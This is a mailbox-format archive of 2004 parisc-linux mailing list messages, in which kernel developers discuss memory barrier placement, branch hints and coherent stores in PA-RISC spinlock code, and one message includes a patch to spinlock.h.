	Tue, 7 Sep 2004 09:30:22 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 0B33E3BDFD
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  7 Sep 2004 09:30:22 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 7FDA749477B; Tue,  7 Sep 2004 09:30:21 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (stat16.steeleye.com [209.192.50.48])
	by palinux.hppa (Postfix) with ESMTP
	id 6703149475D; Tue,  7 Sep 2004 09:30:20 -0600 (MDT)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id
	i87FUIJ06467; Tue, 7 Sep 2004 11:30:18 -0400
In-Reply-To: <20040907151722.GC18849@colo.lackof.org>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24911

On Tue, 2004-09-07 at 11:17, Grant Grundler wrote:
> Maybe I'm just confused again. I was thinking gcc could move instructions
> between the asm("ldcw") and mb(). And the same thing between
> mb() and "lock = 1".

It can, in a restricted fashion (the asm volatile ensures this
restriction).  But that's OK.  What we want is that when we complete the
spin_lock code, the spin is locked and memory clobbered.  That's why the
only necessary mb() is at the end.

> In other words, I'm worried about the "distance" bewteen lock/unlock
> ops is greater than the "distance" between two mb() that contain
> the critical section of code.

Well, the point about using an optimising compiler is that you're
supposed to give it the information necessary to do its job.  In this
case, the correct information is that a is volatile.  And further, after
it's finished the spin lock code we prevent no reordering leaks and
clobber memory.

> > You probably get slightly more confinement by using mb() instead of the
> > "memory" clobber in __ldcw().
> 
> Erm, how?
> Our mb() definition uses asm(:::"memory").
> Is that different from using "memory" in the actual bit of assembly?

Because in your implementation you have the barrier in the middle of a
loop; that means it's crossed many times in the contended case.  In mine
it's only crossed once.

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] coherent ops and mb() revisited
Date: Wed, 8 Sep 2004 10:52:10 -0600
Lines: 57
Approved: news@gmane.org
Message-ID: <20040908165210.GA10316@colo.lackof.org>
References: <200409050627.i856RWW3027615@hiauly1.hia.nrc.ca>
	<1094395005.1690.1.camel@mulgrave>
	<20040906041952.GA17107@colo.lackof.org>
	<1094480131.2037.6.camel@mulgrave>
	<20040907151722.GC18849@colo.lackof.org>
	<1094571019.2068.101.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624474 25734 80.91.229.3 (22 Nov 2014 02:47:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:54 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
 parisc-linux@parisc-linux.org
To: James Bottomley <James.Bottomley@SteelEye.com>
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 32117 invoked by uid 65534); 8 Sep 2004 16:53:31 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx038) with SMTP; 08 Sep 2004 18:53:31 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id DE4673BDF4; Wed,  8 Sep 2004 10:53:07 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18861-03; Wed, 8 Sep 2004 10:53:05 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 67F4C3BDFC; Wed,  8 Sep 2004 10:52:21 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 750C13BDD6
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  8 Sep 2004 10:52:17 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 17338-08 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 8 Sep 2004 10:52:16 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 491043BD31
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  8 Sep 2004 10:52:16 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 7D487494734; Wed,  8 Sep 2004 10:52:15 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by palinux.hppa (Postfix) with ESMTP id C54814946B7
	for <parisc-linux@parisc-linux.org>;
	Wed,  8 Sep 2004 10:52:14 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 758F0298115; Wed,  8 Sep 2004 10:52:13 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11192-01; Wed, 8 Sep 2004 10:52:10 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 653A7298056; Wed,  8 Sep 2004 10:52:10 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <1094571019.2068.101.camel@mulgrave>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24912

On Tue, Sep 07, 2004 at 11:30:17AM -0400, James Bottomley wrote:
> > Maybe I'm just confused again. I was thinking gcc could move instructions
> > between the asm("ldcw") and mb(). And the same thing between
> > mb() and "lock = 1".
> 
> It can, in a restricted fashion (the asm volatile ensures this
> restriction).  But that's OK.  What we want is that when we complete the
> spin_lock code, the spin is locked and memory clobbered.  That's why the
> only necessary mb() is at the end.

yes - I understand that part and agree the current code is correct.

> > In other words, I'm worried about the "distance" bewteen lock/unlock
> > ops is greater than the "distance" between two mb() that contain
> > the critical section of code.
> 
> Well, the point about using an optimising compiler is that you're
> supposed to give it the information necessary to do its job.  In this
> case, the correct information is that a is volatile. 

Yeah - there is a tradeoff between optimizing the pipeline between
cases where the lock is contended and where it is not. The compiler
does not have that info unless it could consume Profile info.
(ie "Profile Based Optimization").
I was thinking we should favor the contended case to make it
less painful. I've changed my mind and will not push this patch.

> And further, after
> it's finished the spin lock code we prevent no reordering leaks and
> clobber memory.

Yes - no argument about correctness of current code.

> > Erm, how?
> > Our mb() definition uses asm(:::"memory").
> > Is that different from using "memory" in the actual bit of assembly?
> 
> Because in your implementation you have the barrier in the middle of a
> loop; that means it's crossed many times in the contended case.  In mine
> it's only crossed once.

But the _ldcw() is part of a tight "while" loop.
What's the penalty for "crossing" the barrier?
I don't see one.

BTW, do you think we should use coherent loads/stores for locks?
That's the other aspect of the patch that I think jda would like
to see incorporated.

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] coherent ops and mb() revisited
Date: 08 Sep 2004 13:11:12 -0400
Lines: 41
Approved: news@gmane.org
Message-ID: <1094663473.7149.136.camel@mulgrave>
References: <200409050627.i856RWW3027615@hiauly1.hia.nrc.ca>
	<1094395005.1690.1.camel@mulgrave>
	<20040906041952.GA17107@colo.lackof.org>
	<1094480131.2037.6.camel@mulgrave>
	<20040907151722.GC18849@colo.lackof.org>
	<1094571019.2068.101.camel@mulgrave> 
	<20040908165210.GA10316@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624475 25738 80.91.229.3 (22 Nov 2014 02:47:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:55 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
 parisc-linux@parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 16294 invoked by uid 65534); 8 Sep 2004 17:11:56 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx041) with SMTP; 08 Sep 2004 19:11:56 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 59ACE3BDFD; Wed,  8 Sep 2004 11:11:40 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19068-07; Wed, 8 Sep 2004 11:11:40 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 6FC583BDFF; Wed,  8 Sep 2004 11:11:24 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 12F673BDFC
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  8 Sep 2004 11:11:21 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 19068-04 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 8 Sep 2004 11:11:19 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 92BB03BDD6
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  8 Sep 2004 11:11:19 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id DDB0D494735; Wed,  8 Sep 2004 11:11:16 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (stat16.steeleye.com [209.192.50.48])
	by palinux.hppa (Postfix) with ESMTP
	id 6757E4946B7; Wed,  8 Sep 2004 11:11:15 -0600 (MDT)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id
	i88HBDJ12728; Wed, 8 Sep 2004 13:11:13 -0400
In-Reply-To: <20040908165210.GA10316@colo.lackof.org>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24913

On Wed, 2004-09-08 at 12:52, Grant Grundler wrote:
> Yeah - there is a tradeoff between optimizing the pipeline between
> cases where the lock is contended and where it is not. The compiler
> does not have that info unless it could consume Profile info.
> (ie "Profile Based Optimization").
> I was thinking we should favor the contended case to make it
> less painful. I've changed my mind and will not push this patch.

Erm, no, optimisation of the pipeline is something different again.  If
we want to hint to the compiler that the lock will be uncontended, then
our code should read:

        while (unlikely(__ldcw(a) == 0))
                while (likely(*a == 0));


> But the _ldcw() is part of a tight "while" loop.
> What's the penalty for "crossing" the barrier?
> I don't see one.

In this case, probably not much ... it would forbid clever optimisations
of the while loops, but I'm sure the compiler isn't actually optimising
them very much.  However, the *principle* is that you want your barriers
where they're effective but do the least damage to the compiler's
ability to optimise.

> BTW, do you think we should use coherent loads/stores for locks?
> That's the other aspect of the patch that I think jda would like
> to see incorporated.

I'm not really sure what the coherent hint actually does.

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] coherent ops and mb() revisited
Date: Fri, 10 Sep 2004 10:11:18 -0600
Lines: 119
Approved: news@gmane.org
Message-ID: <20040910161118.GA3778@colo.lackof.org>
References: <200409050627.i856RWW3027615@hiauly1.hia.nrc.ca>
	<1094395005.1690.1.camel@mulgrave>
	<20040906041952.GA17107@colo.lackof.org>
	<1094480131.2037.6.camel@mulgrave>
	<20040907151722.GC18849@colo.lackof.org>
	<1094571019.2068.101.camel@mulgrave>
	<20040908165210.GA10316@colo.lackof.org>
	<1094663473.7149.136.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624475 25742 80.91.229.3 (22 Nov 2014 02:47:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:55 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
 parisc-linux@parisc-linux.org
To: James Bottomley <James.Bottomley@SteelEye.com>
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 1145 invoked by uid 65534); 10 Sep 2004 16:12:12 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx054) with SMTP; 10 Sep 2004 18:12:12 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 8FF843BDC9; Fri, 10 Sep 2004 10:11:54 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11498-03; Fri, 10 Sep 2004 10:11:54 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 82CF03BE12; Fri, 10 Sep 2004 10:11:28 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7D31B3BDD6
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 10 Sep 2004 10:11:23 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 10607-03 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 10 Sep 2004 10:11:22 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id EEF553BDC9
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 10 Sep 2004 10:11:21 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 87E57494742; Fri, 10 Sep 2004 10:11:21 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by palinux.hppa (Postfix) with ESMTP id C51A0494733
	for <parisc-linux@parisc-linux.org>;
	Fri, 10 Sep 2004 10:11:20 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id D63B629811E; Fri, 10 Sep 2004 10:11:19 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04319-06; Fri, 10 Sep 2004 10:11:18 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 7055229811B; Fri, 10 Sep 2004 10:11:18 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <1094663473.7149.136.camel@mulgrave>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24914

On Wed, Sep 08, 2004 at 01:11:12PM -0400, James Bottomley wrote:
> > does not have that info unless it could consume Profile info.
> > (ie "Profile Based Optimization").
> > I was thinking we should favor the contended case to make it
> > less painful. I've changed my mind and will not push this patch.
> 
> Erm, no, optimisation of the pipeline is something different again.  If
> we want to hint to the compiler that the lock will be uncontended, then
> our code should read:
> 
>         while (unlikely(__ldcw(a) == 0))
>                 while (likely(*a == 0));

This is general and applies to all uses of locks.
PBO would determine which is the common path at each usage.
But hints are right most of the time - included in the new patch below.

> > But the _ldcw() is part of a tight "while" loop.
> > What's the penalty for "crossing" the barrier?
> > I don't see one.
> 
> In this case, probably not much ... it would forbid clever optimisations
> of the while loops, but I'm sure the compiler isn't actually optimising
> them very much.  However, the *principle* is that you want your barriers
> where they're effective but do the least damage to the compiler's
> ability to optimise.

ok. That makes sense. I just didn't want an overly clever compiler
doing optimizations which are good for the pipeline but bad for
the algorithm.

> > BTW, do you think we should use coherent loads/stores for locks?
> > That's the other aspect of the patch that I think jda would like
> > to see incorporated.
> 
> I'm not really sure what the coherent hint actually does.

coherent hint is an architecturally (PA 2.0) defined mechanism to
enforce ordering of memory accesses - ie makes memory writes
visible to other CPUs in order. This assumes PA2.0 CPU implements
weakly ordered memory (which is not the case and I'll continue
to assert is unlikely to ever happen). But I'm happy to include
this if people think it's the "right thing".

The patch below:
o removes unneeded mb()
o adds likely/unlikely to spinlock loop as suggest by James Bottomley
o adds coherent hints to unlock "store" instruction as suggested
  by John David Anglin.

(o and drops the "memory" asm directives from the previous version)

thanks,
grant


Index: include/asm-parisc/spinlock.h
===================================================================
RCS file: /var/cvs/linux-2.6/include/asm-parisc/spinlock.h,v
retrieving revision 1.6
diff -u -p -r1.6 spinlock.h
--- include/asm-parisc/spinlock.h	15 Aug 2004 14:17:39 -0000	1.6
+++ include/asm-parisc/spinlock.h	10 Sep 2004 15:56:25 -0000
@@ -2,6 +2,7 @@
 #define __ASM_SPINLOCK_H
 
 #include <asm/system.h>
+#include <linux/compiler.h>	/* for likely/unlikely ops */
 
 /* Note that PA-RISC has to use `1' to mean unlocked and `0' to mean locked
  * since it only has load-and-zero. Moreover, at least on some PA processors,
@@ -29,20 +30,28 @@ static inline void _raw_spin_lock(spinlo
 {
 	volatile unsigned int *a;
 
-	mb();
 	a = __ldcw_align(x);
-	while (__ldcw(a) == 0)
-		while (*a == 0);
+	while (unlikely(__ldcw(a) == 0))
+		while (likely(*a == 0));
 	mb();
 }
 
 static inline void _raw_spin_unlock(spinlock_t *x)
 {
 	volatile unsigned int *a;
+
 	mb();
 	a = __ldcw_align(x);
-	*a = 1;
-	mb();
+
+	/* use a coherent store. PA1.1 is always strongly ordered.
+	* The idea here is stores to locks will enforce memory ordering
+	* should any PA20 chip ever implement weakly ordered memory.
+	* To date, no PA2.0 implementation is weakly ordered.
+	* jda would prefer we use coherent stores (",ma" with zero offset
+	* is the same thing but PA1.1 compatible).
+	*/
+	__asm__ __volatile__ ("stw,ma %1,0(%0)"
+			: : "r" (a), "r" (1) );
 }
 
 static inline int _raw_spin_trylock(spinlock_t *x)
@@ -50,7 +59,6 @@ static inline int _raw_spin_trylock(spin
 	volatile unsigned int *a;
 	int ret;
 
-	mb();
 	a = __ldcw_align(x);
         ret = __ldcw(a) != 0;
 	mb();
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] The new iomap interface
Date: Fri, 17 Sep 2004 10:24:30 -0600
Lines: 160
Approved: news@gmane.org
Message-ID: <20040917162430.GA7984@colo.lackof.org>
References: <20040917124612.GS642@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624475 25743 80.91.229.3 (22 Nov 2014 02:47:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:55 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 24047 invoked by uid 65534); 17 Sep 2004 16:25:14 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx018) with SMTP; 17 Sep 2004 18:25:14 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 1D2563BE12; Fri, 17 Sep 2004 10:24:57 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06272-02; Fri, 17 Sep 2004 10:24:56 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id C467E3BE44; Fri, 17 Sep 2004 10:24:39 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3E1B53BE0E
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 17 Sep 2004 10:24:35 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 06251-02 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 17 Sep 2004 10:24:34 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id EBE6B3BDFC
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 17 Sep 2004 10:24:33 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 9EB7949474C; Fri, 17 Sep 2004 10:24:33 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by palinux.hppa (Postfix) with ESMTP id 1E18E49418F
	for <parisc-linux@parisc-linux.org>;
	Fri, 17 Sep 2004 10:24:33 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id D28F0298111; Fri, 17 Sep 2004 10:24:31 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09589-08; Fri, 17 Sep 2004 10:24:30 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 18E93298052; Fri, 17 Sep 2004 10:24:30 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20040917124612.GS642@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.3.28i
